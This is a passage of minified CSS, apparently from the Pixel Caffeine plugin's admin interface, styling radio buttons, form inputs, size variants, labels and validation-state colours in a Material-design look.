border-radius: 100%; } .pixel-caffeine-wrapper .radio .check, .pixel-caffeine-wrapper label.radio-inline .check { height: 15px; width: 15px; border-radius: 100%; background-color: #4C70BA; -webkit-transform: scale3d(0, 0, 0); transform: scale3d(0, 0, 0); } .pixel-caffeine-wrapper .radio .check:after, .pixel-caffeine-wrapper label.radio-inline .check:after { display: block; position: absolute; content: ""; background-color: rgba(0,0,0, 0.87); left: -18px; top: -18px; height: 50px; width: 50px; border-radius: 100%; z-index: 1; opacity: 0; margin: 0; -webkit-transform: scale3d(1.5, 1.5, 1); transform: scale3d(1.5, 1.5, 1); } .pixel-caffeine-wrapper .radio input[type=radio]:focus:not(:checked) ~ .check:after, .pixel-caffeine-wrapper label.radio-inline input[type=radio]:focus:not(:checked) ~ .check:after { -webkit-animation: rippleOff 500ms; -o-animation: rippleOff 500ms; animation: rippleOff 500ms; } .pixel-caffeine-wrapper .radio input[type=radio]:focus:checked ~ .check:after, .pixel-caffeine-wrapper label.radio-inline input[type=radio]:focus:checked ~ .check:after { -webkit-animation: rippleOn 500ms; -o-animation: rippleOn 500ms; animation: rippleOn 500ms; } .pixel-caffeine-wrapper .radio input[type=radio], .pixel-caffeine-wrapper label.radio-inline input[type=radio] { opacity: 0; height: 0; width: 0; overflow: hidden; } .pixel-caffeine-wrapper .radio input[type=radio]:checked ~ .check, .pixel-caffeine-wrapper .radio input[type=radio]:checked ~ .circle, .pixel-caffeine-wrapper label.radio-inline input[type=radio]:checked ~ .check, .pixel-caffeine-wrapper label.radio-inline input[type=radio]:checked ~ .circle { opacity: 1; } .pixel-caffeine-wrapper .radio input[type=radio]:checked ~ .check, .pixel-caffeine-wrapper label.radio-inline input[type=radio]:checked ~ .check { background-color: #4C70BA; } .pixel-caffeine-wrapper .radio input[type=radio]:checked ~ .circle, .pixel-caffeine-wrapper label.radio-inline input[type=radio]:checked ~ .circle { border-color: #4C70BA; } .pixel-caffeine-wrapper .radio input[type=radio]:checked ~ .check, .pixel-caffeine-wrapper label.radio-inline input[type=radio]:checked ~ .check { -webkit-transform: scale3d(0.55, 0.55, 1); transform: scale3d(0.55, 0.55, 1); } .pixel-caffeine-wrapper .radio input[type=radio][disabled] ~ .check, .pixel-caffeine-wrapper .radio input[type=radio][disabled] ~ .circle, .pixel-caffeine-wrapper label.radio-inline input[type=radio][disabled] ~ .check, .pixel-caffeine-wrapper label.radio-inline input[type=radio][disabled] ~ .circle { opacity: 0.26; } .pixel-caffeine-wrapper .radio input[type=radio][disabled] ~ .check, .pixel-caffeine-wrapper label.radio-inline input[type=radio][disabled] ~ .check { background-color: #444; } .pixel-caffeine-wrapper .radio input[type=radio][disabled] ~ .circle, .pixel-caffeine-wrapper label.radio-inline input[type=radio][disabled] ~ .circle { border-color: #444; } .theme-dark .pixel-caffeine-wrapper .radio input[type=radio][disabled] ~ .check, .theme-dark .pixel-caffeine-wrapper .radio input[type=radio][disabled] ~ .circle, .theme-dark .pixel-caffeine-wrapper label.radio-inline input[type=radio][disabled] ~ .check, .theme-dark .pixel-caffeine-wrapper label.radio-inline input[type=radio][disabled] ~ .circle { opacity: 0.3; } .theme-dark .pixel-caffeine-wrapper .radio input[type=radio][disabled] ~ .check, .theme-dark .pixel-caffeine-wrapper label.radio-inline input[type=radio][disabled] ~ .check { background-color: #FFF; } .theme-dark .pixel-caffeine-wrapper .radio input[type=radio][disabled] ~ .circle, .theme-dark .pixel-caffeine-wrapper label.radio-inline input[type=radio][disabled] ~ .circle { border-color: #FFF; } @keyframes rippleOn { 0% { opacity: 0; } 50% { opacity: 0.2; } 100% { opacity: 0; } } @keyframes rippleOff { 0% { opacity: 0; } 50% { opacity: 0.2; } 100% { opacity: 0; } } .pixel-caffeine-wrapper legend { margin-bottom: 22px; font-size: 21px; } .pixel-caffeine-wrapper output { padding-top: 8px; font-size: 14px; line-height: 1.428571429; } .pixel-caffeine-wrapper .form-control { height: 38px; padding: 7px 0; font-size: 14px; line-height: 1.428571429; } @media screen and (-webkit-min-device-pixel-ratio: 0) { .pixel-caffeine-wrapper input[type=date].form-control, .pixel-caffeine-wrapper input[type=time].form-control, .pixel-caffeine-wrapper input[type=datetime-local].form-control, .pixel-caffeine-wrapper input[type=month].form-control { line-height: 38px; } .pixel-caffeine-wrapper input[type=date].input-sm, .pixel-caffeine-wrapper .input-group-sm > input[type=date].form-control, .pixel-caffeine-wrapper .input-group-sm > input[type=date].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > input[type=date].btn, .input-group-sm .pixel-caffeine-wrapper input[type=date], .pixel-caffeine-wrapper input[type=time].input-sm, .pixel-caffeine-wrapper .input-group-sm > input[type=time].form-control, .pixel-caffeine-wrapper .input-group-sm > input[type=time].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > input[type=time].btn, .input-group-sm .pixel-caffeine-wrapper input[type=time], .pixel-caffeine-wrapper input[type=datetime-local].input-sm, .pixel-caffeine-wrapper .input-group-sm > input[type=datetime-local].form-control, .pixel-caffeine-wrapper .input-group-sm > input[type=datetime-local].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > input[type=datetime-local].btn, .input-group-sm .pixel-caffeine-wrapper input[type=datetime-local], .pixel-caffeine-wrapper input[type=month].input-sm, .pixel-caffeine-wrapper .input-group-sm > input[type=month].form-control, .pixel-caffeine-wrapper .input-group-sm > input[type=month].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > input[type=month].btn, .input-group-sm .pixel-caffeine-wrapper input[type=month] { line-height: 24px; } .pixel-caffeine-wrapper input[type=date].input-lg, .pixel-caffeine-wrapper .input-group-lg > input[type=date].form-control, .pixel-caffeine-wrapper .input-group-lg > input[type=date].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > input[type=date].btn, .input-group-lg .pixel-caffeine-wrapper input[type=date], .pixel-caffeine-wrapper input[type=time].input-lg, .pixel-caffeine-wrapper .input-group-lg > input[type=time].form-control, .pixel-caffeine-wrapper .input-group-lg > input[type=time].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > input[type=time].btn, .input-group-lg .pixel-caffeine-wrapper input[type=time], .pixel-caffeine-wrapper input[type=datetime-local].input-lg, .pixel-caffeine-wrapper .input-group-lg > input[type=datetime-local].form-control, .pixel-caffeine-wrapper .input-group-lg > input[type=datetime-local].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > input[type=datetime-local].btn, .input-group-lg .pixel-caffeine-wrapper input[type=datetime-local], .pixel-caffeine-wrapper input[type=month].input-lg, .pixel-caffeine-wrapper .input-group-lg > input[type=month].form-control, .pixel-caffeine-wrapper .input-group-lg > input[type=month].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > input[type=month].btn, .input-group-lg .pixel-caffeine-wrapper input[type=month] { line-height: 44px; } } .pixel-caffeine-wrapper .radio label, .pixel-caffeine-wrapper .checkbox label { min-height: 22px; } .pixel-caffeine-wrapper .form-control-static { padding-top: 8px; padding-bottom: 8px; min-height: 36px; } .pixel-caffeine-wrapper .input-sm .input-sm, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-sm, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-sm, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-sm, .pixel-caffeine-wrapper .input-sm .input-group-sm > .form-control, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > .form-control, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > .form-control, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > .form-control, .pixel-caffeine-wrapper .input-sm .input-group-sm > .input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > .input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > .input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > .input-group-addon, .pixel-caffeine-wrapper .input-sm .input-group-sm > .input-group-btn > .btn, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > .input-group-btn > .btn, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > .input-group-btn > .btn, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > .input-group-btn > .btn { height: 24px; padding: 3px 0; font-size: 11px; line-height: 1.5; border-radius: 0; } .pixel-caffeine-wrapper .input-sm select.input-sm, .pixel-caffeine-wrapper .input-group-sm > .form-control select.input-sm, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon select.input-sm, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn select.input-sm, .pixel-caffeine-wrapper .input-sm .input-group-sm > select.form-control, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > select.form-control, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > select.form-control, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > select.form-control, .pixel-caffeine-wrapper .input-sm .input-group-sm > select.input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > select.input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > select.input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > select.input-group-addon, .pixel-caffeine-wrapper .input-sm .input-group-sm > .input-group-btn > select.btn, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > .input-group-btn > select.btn, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > .input-group-btn > select.btn, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > .input-group-btn > select.btn { height: 24px; line-height: 24px; } .pixel-caffeine-wrapper .input-sm textarea.input-sm, .pixel-caffeine-wrapper .input-group-sm > .form-control textarea.input-sm, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon textarea.input-sm, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn textarea.input-sm, .pixel-caffeine-wrapper .input-sm .input-group-sm > textarea.form-control, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > textarea.form-control, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > textarea.form-control, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > textarea.form-control, .pixel-caffeine-wrapper .input-sm .input-group-sm > textarea.input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > textarea.input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > textarea.input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > textarea.input-group-addon, .pixel-caffeine-wrapper .input-sm .input-group-sm > .input-group-btn > textarea.btn, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > .input-group-btn > textarea.btn, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > .input-group-btn > textarea.btn, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > .input-group-btn > textarea.btn, .pixel-caffeine-wrapper .input-sm select[multiple].input-sm, .pixel-caffeine-wrapper .input-group-sm > .form-control select[multiple].input-sm, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon select[multiple].input-sm, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn select[multiple].input-sm, .pixel-caffeine-wrapper .input-sm .input-group-sm > select[multiple].form-control, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > select[multiple].form-control, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > select[multiple].form-control, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > select[multiple].form-control, .pixel-caffeine-wrapper .input-sm .input-group-sm > select[multiple].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > select[multiple].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > select[multiple].input-group-addon, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > select[multiple].input-group-addon, .pixel-caffeine-wrapper .input-sm .input-group-sm > .input-group-btn > select[multiple].btn, .pixel-caffeine-wrapper .input-group-sm > .form-control .input-group-sm > .input-group-btn > select[multiple].btn, .pixel-caffeine-wrapper .input-group-sm > .input-group-addon .input-group-sm > .input-group-btn > select[multiple].btn, .pixel-caffeine-wrapper .input-group-sm > .input-group-btn > .btn .input-group-sm > .input-group-btn > select[multiple].btn { height: auto; } .pixel-caffeine-wrapper .form-group-sm .form-control { height: 24px; padding: 3px 0; font-size: 11px; line-height: 1.5; } .pixel-caffeine-wrapper .form-group-sm select.form-control { height: 24px; line-height: 24px; } .pixel-caffeine-wrapper .form-group-sm textarea.form-control, .pixel-caffeine-wrapper .form-group-sm select[multiple].form-control { height: auto; } .pixel-caffeine-wrapper .form-group-sm .form-control-static { height: 24px; min-height: 33px; padding: 4px 0; font-size: 11px; line-height: 1.5; } .pixel-caffeine-wrapper .input-lg .input-lg, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-lg, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-lg, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-lg, .pixel-caffeine-wrapper .input-lg .input-group-lg > .form-control, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > .form-control, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > .form-control, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > .form-control, .pixel-caffeine-wrapper .input-lg .input-group-lg > .input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > .input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > .input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > .input-group-addon, .pixel-caffeine-wrapper .input-lg .input-group-lg > .input-group-btn > .btn, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > .input-group-btn > .btn, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > .input-group-btn > .btn, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > .input-group-btn > .btn { height: 44px; padding: 9px 0; font-size: 18px; line-height: 1.3333333; border-radius: 0; } .pixel-caffeine-wrapper .input-lg select.input-lg, .pixel-caffeine-wrapper .input-group-lg > .form-control select.input-lg, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon select.input-lg, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn select.input-lg, .pixel-caffeine-wrapper .input-lg .input-group-lg > select.form-control, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > select.form-control, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > select.form-control, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > select.form-control, .pixel-caffeine-wrapper .input-lg .input-group-lg > select.input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > select.input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > select.input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > select.input-group-addon, .pixel-caffeine-wrapper .input-lg .input-group-lg > .input-group-btn > select.btn, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > .input-group-btn > select.btn, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > .input-group-btn > select.btn, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > .input-group-btn > select.btn { height: 44px; line-height: 44px; } .pixel-caffeine-wrapper .input-lg textarea.input-lg, .pixel-caffeine-wrapper .input-group-lg > .form-control textarea.input-lg, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon textarea.input-lg, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn textarea.input-lg, .pixel-caffeine-wrapper .input-lg .input-group-lg > textarea.form-control, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > textarea.form-control, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > textarea.form-control, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > textarea.form-control, .pixel-caffeine-wrapper .input-lg .input-group-lg > textarea.input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > textarea.input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > textarea.input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > textarea.input-group-addon, .pixel-caffeine-wrapper .input-lg .input-group-lg > .input-group-btn > textarea.btn, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > .input-group-btn > textarea.btn, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > .input-group-btn > textarea.btn, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > .input-group-btn > textarea.btn, .pixel-caffeine-wrapper .input-lg select[multiple].input-lg, .pixel-caffeine-wrapper .input-group-lg > .form-control select[multiple].input-lg, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon select[multiple].input-lg, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn select[multiple].input-lg, .pixel-caffeine-wrapper .input-lg .input-group-lg > select[multiple].form-control, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > select[multiple].form-control, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > select[multiple].form-control, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > select[multiple].form-control, .pixel-caffeine-wrapper .input-lg .input-group-lg > select[multiple].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > select[multiple].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > select[multiple].input-group-addon, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > select[multiple].input-group-addon, .pixel-caffeine-wrapper .input-lg .input-group-lg > .input-group-btn > select[multiple].btn, .pixel-caffeine-wrapper .input-group-lg > .form-control .input-group-lg > .input-group-btn > select[multiple].btn, .pixel-caffeine-wrapper .input-group-lg > .input-group-addon .input-group-lg > .input-group-btn > select[multiple].btn, .pixel-caffeine-wrapper .input-group-lg > .input-group-btn > .btn .input-group-lg > .input-group-btn > select[multiple].btn { height: auto; } .pixel-caffeine-wrapper .form-group-lg .form-control { height: 44px; padding: 9px 0; font-size: 18px; line-height: 1.3333333; } .pixel-caffeine-wrapper .form-group-lg select.form-control { height: 44px; line-height: 44px; } .pixel-caffeine-wrapper .form-group-lg textarea.form-control, .pixel-caffeine-wrapper .form-group-lg select[multiple].form-control { height: auto; } .pixel-caffeine-wrapper .form-group-lg .form-control-static { height: 44px; min-height: 40px; padding: 10px 0; font-size: 18px; line-height: 1.3333333; } .pixel-caffeine-wrapper .form-horizontal .radio, .pixel-caffeine-wrapper .form-horizontal .checkbox, .pixel-caffeine-wrapper .form-horizontal .radio-inline, .pixel-caffeine-wrapper .form-horizontal .checkbox-inline { padding-top: 8px; } .pixel-caffeine-wrapper .form-horizontal .radio, .pixel-caffeine-wrapper .form-horizontal .checkbox { min-height: 30px; } @media (min-width: 768px) { .pixel-caffeine-wrapper .form-horizontal .control-label { padding-top: 8px; } } @media (min-width: 768px) { .pixel-caffeine-wrapper .form-horizontal .form-group-lg .control-label { padding-top: 12.9999997px; font-size: 18px; } } @media (min-width: 768px) { .pixel-caffeine-wrapper .form-horizontal .form-group-sm .control-label { padding-top: 4px; font-size: 11px; } } .pixel-caffeine-wrapper .label { border-radius: 3px; padding: 0.3em 0.6em; } .pixel-caffeine-wrapper .label, .pixel-caffeine-wrapper .label.label-default { background-color: #9e9e9e; } .pixel-caffeine-wrapper .label.label-inverse { background-color: #3f51b5; } .pixel-caffeine-wrapper .label.label-primary { background-color: #4C70BA; } .pixel-caffeine-wrapper .label.label-success { background-color: #68AA20; } .pixel-caffeine-wrapper .label.label-info { background-color: #5bc0de; } .pixel-caffeine-wrapper .label.label-warning { background-color: #FD9C00; } .pixel-caffeine-wrapper .label.label-danger { background-color: #E15667; } .pixel-caffeine-wrapper .form-control, .pixel-caffeine-wrapper .form-group .form-control { border: 0; background-image: -webkit-gradient(linear, left top, left bottom, from(#4C70BA), to(#4C70BA)), -webkit-gradient(linear, left top, left bottom, from(#D2D2D2), to(#D2D2D2)); background-image: -webkit-linear-gradient(#4C70BA, #4C70BA), -webkit-linear-gradient(#D2D2D2, #D2D2D2); background-image: -o-linear-gradient(#4C70BA, #4C70BA), -o-linear-gradient(#D2D2D2, #D2D2D2); background-image: linear-gradient(#4C70BA, #4C70BA), linear-gradient(#D2D2D2, #D2D2D2); background-size: 0 2px, 100% 1px; background-repeat: no-repeat; background-position: center bottom, center calc(100% - 1px); background-color: rgba(0, 0, 0, 0); -webkit-transition: background 0s ease-out; -o-transition: background 0s ease-out; transition: background 0s ease-out; float: none; -webkit-box-shadow: none; box-shadow: none; border-radius: 0; } .pixel-caffeine-wrapper .form-control::-moz-placeholder, .pixel-caffeine-wrapper .form-group .form-control::-moz-placeholder { color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-control:-ms-input-placeholder, .pixel-caffeine-wrapper .form-group .form-control:-ms-input-placeholder { color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-control::-webkit-input-placeholder, .pixel-caffeine-wrapper .form-group .form-control::-webkit-input-placeholder { color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-control[readonly], .pixel-caffeine-wrapper .form-control[disabled], fieldset[disabled] .pixel-caffeine-wrapper .form-control, .pixel-caffeine-wrapper .form-group .form-control[readonly], .pixel-caffeine-wrapper .form-group .form-control[disabled], fieldset[disabled] .pixel-caffeine-wrapper .form-group .form-control { background-color: rgba(0, 0, 0, 0); } .pixel-caffeine-wrapper .form-control[disabled], fieldset[disabled] .pixel-caffeine-wrapper .form-control, .pixel-caffeine-wrapper .form-group .form-control[disabled], fieldset[disabled] .pixel-caffeine-wrapper .form-group .form-control { background-image: none; border-bottom: 1px dotted #D2D2D2; } .pixel-caffeine-wrapper .form-group { position: relative; } .pixel-caffeine-wrapper .form-group.label-static label.control-label, .pixel-caffeine-wrapper .form-group.label-placeholder label.control-label, .pixel-caffeine-wrapper .form-group.label-floating label.control-label { position: absolute; pointer-events: none; -webkit-transition: 0.3s ease all; -o-transition: 0.3s ease all; transition: 0.3s ease all; } .pixel-caffeine-wrapper .form-group.label-floating label.control-label { will-change: left, top, contents; } .pixel-caffeine-wrapper .form-group.label-placeholder:not(.is-empty) label.control-label { display: none; } .pixel-caffeine-wrapper .form-group .help-block { position: absolute; display: none; } .pixel-caffeine-wrapper .form-group.is-focused .form-control { outline: none; background-image: -webkit-gradient(linear, left top, left bottom, from(#4C70BA), to(#4C70BA)), -webkit-gradient(linear, left top, left bottom, from(#D2D2D2), to(#D2D2D2)); background-image: -webkit-linear-gradient(#4C70BA, #4C70BA), -webkit-linear-gradient(#D2D2D2, #D2D2D2); background-image: -o-linear-gradient(#4C70BA, #4C70BA), -o-linear-gradient(#D2D2D2, #D2D2D2); background-image: linear-gradient(#4C70BA, #4C70BA), linear-gradient(#D2D2D2, #D2D2D2); background-size: 100% 2px, 100% 1px; -webkit-box-shadow: none; box-shadow: none; -webkit-transition-duration: 0.3s; -o-transition-duration: 0.3s; transition-duration: 0.3s; } .pixel-caffeine-wrapper .form-group.is-focused .form-control .material-input:after { background-color: #4C70BA; } .pixel-caffeine-wrapper .form-group.is-focused label, .pixel-caffeine-wrapper .form-group.is-focused label.control-label { color: #4C70BA; } .pixel-caffeine-wrapper .form-group.is-focused.label-placeholder label, .pixel-caffeine-wrapper .form-group.is-focused.label-placeholder label.control-label { color: #BDBDBD; } .pixel-caffeine-wrapper .form-group.is-focused .help-block { display: block; } .pixel-caffeine-wrapper .form-group.has-warning .form-control { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .form-group.has-warning.is-focused .form-control { background-image: -webkit-gradient(linear, left top, left bottom, from(#FD9C00), to(#FD9C00)), -webkit-gradient(linear, left top, left bottom, from(#D2D2D2), to(#D2D2D2)); background-image: -webkit-linear-gradient(#FD9C00, #FD9C00), -webkit-linear-gradient(#D2D2D2, #D2D2D2); background-image: -o-linear-gradient(#FD9C00, #FD9C00), -o-linear-gradient(#D2D2D2, #D2D2D2); background-image: linear-gradient(#FD9C00, #FD9C00), linear-gradient(#D2D2D2, #D2D2D2); } .pixel-caffeine-wrapper .form-group.has-warning label.control-label, .pixel-caffeine-wrapper .form-group.has-warning .help-block { color: #FD9C00; } .pixel-caffeine-wrapper .form-group.has-error .form-control { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .form-group.has-error.is-focused .form-control { background-image: -webkit-gradient(linear, left top, left bottom, from(#E15667), to(#E15667)), -webkit-gradient(linear, left top, left bottom, from(#D2D2D2), to(#D2D2D2)); background-image: -webkit-linear-gradient(#E15667, #E15667), -webkit-linear-gradient(#D2D2D2, #D2D2D2); background-image: -o-linear-gradient(#E15667, #E15667), -o-linear-gradient(#D2D2D2, #D2D2D2); background-image: linear-gradient(#E15667, #E15667), linear-gradient(#D2D2D2, #D2D2D2); } .pixel-caffeine-wrapper .form-group.has-error label.control-label, .pixel-caffeine-wrapper .form-group.has-error .help-block { color: #E15667; } .pixel-caffeine-wrapper .form-group.has-success .form-control { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .form-group.has-success.is-focused .form-control { background-image: -webkit-gradient(linear, left top, left bottom, from(#68AA20), to(#68AA20)), -webkit-gradient(linear, left top, left bottom, from(#D2D2D2), to(#D2D2D2)); background-image: -webkit-linear-gradient(#68AA20, #68AA20), -webkit-linear-gradient(#D2D2D2, #D2D2D2); background-image: -o-linear-gradient(#68AA20, #68AA20), -o-linear-gradient(#D2D2D2, #D2D2D2); background-image: linear-gradient(#68AA20, #68AA20), linear-gradient(#D2D2D2, #D2D2D2); } .pixel-caffeine-wrapper .form-group.has-success label.control-label, .pixel-caffeine-wrapper .form-group.has-success .help-block { color: #68AA20; } .pixel-caffeine-wrapper .form-group.has-info .form-control { -webkit-box-shadow: none; box-shadow: none; } .pixel-caffeine-wrapper .form-group.has-info.is-focused .form-control { background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#5bc0de)), -webkit-gradient(linear, left top, left bottom, from(#D2D2D2), to(#D2D2D2)); background-image: -webkit-linear-gradient(#5bc0de, #5bc0de), -webkit-linear-gradient(#D2D2D2, #D2D2D2); background-image: -o-linear-gradient(#5bc0de, #5bc0de), -o-linear-gradient(#D2D2D2, #D2D2D2); background-image: linear-gradient(#5bc0de, #5bc0de), linear-gradient(#D2D2D2, #D2D2D2); } .pixel-caffeine-wrapper .form-group.has-info label.control-label, .pixel-caffeine-wrapper .form-group.has-info .help-block { color: #5bc0de; } .pixel-caffeine-wrapper .form-group textarea { resize: none; } .pixel-caffeine-wrapper .form-group textarea ~ .form-control-highlight { margin-top: -11px; } .pixel-caffeine-wrapper .form-group select { -webkit-appearance: none; -moz-appearance: none; appearance: none; } .pixel-caffeine-wrapper .form-group select ~ .material-input:after { display: none; } .pixel-caffeine-wrapper .form-control { margin-bottom: 7px; } .pixel-caffeine-wrapper .form-control::-moz-placeholder { font-size: 14px; line-height: 1.428571429; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-control:-ms-input-placeholder { font-size: 14px; line-height: 1.428571429; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-control::-webkit-input-placeholder { font-size: 14px; line-height: 1.428571429; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .checkbox label, .pixel-caffeine-wrapper .radio label, .pixel-caffeine-wrapper label { font-size: 14px; line-height: 1.428571429; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper label.control-label { font-size: 11px; line-height: 1.0714285718; font-weight: 400; margin: 16px 0 0 0; } .pixel-caffeine-wrapper .help-block { margin-top: 0; font-size: 11px; } .pixel-caffeine-wrapper .form-group { padding-bottom: 7px; margin: 27px 0 0 0; } .pixel-caffeine-wrapper .form-group .form-control { margin-bottom: 7px; } .pixel-caffeine-wrapper .form-group .form-control::-moz-placeholder { font-size: 14px; line-height: 1.428571429; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group .form-control:-ms-input-placeholder { font-size: 14px; line-height: 1.428571429; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group .form-control::-webkit-input-placeholder { font-size: 14px; line-height: 1.428571429; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group .checkbox label, .pixel-caffeine-wrapper .form-group .radio label, .pixel-caffeine-wrapper .form-group label { font-size: 14px; line-height: 1.428571429; color: #BDBDBD; font-weight: 400; } .pixel-caffeine-wrapper .form-group label.control-label { font-size: 11px; line-height: 1.0714285718; font-weight: 400; margin: 16px 0 0 0; } .pixel-caffeine-wrapper .form-group .help-block { margin-top: 0; font-size: 11px; } .pixel-caffeine-wrapper .form-group.label-floating label.control-label, .pixel-caffeine-wrapper .form-group.label-placeholder label.control-label { top: -7px; font-size: 14px; line-height: 1.428571429; } .pixel-caffeine-wrapper .form-group.label-static label.control-label, .pixel-caffeine-wrapper .form-group.label-floating.is-focused label.control-label, .pixel-caffeine-wrapper .form-group.label-floating:not(.is-empty) label.control-label { top: -28px; left: 0; font-size: 11px; 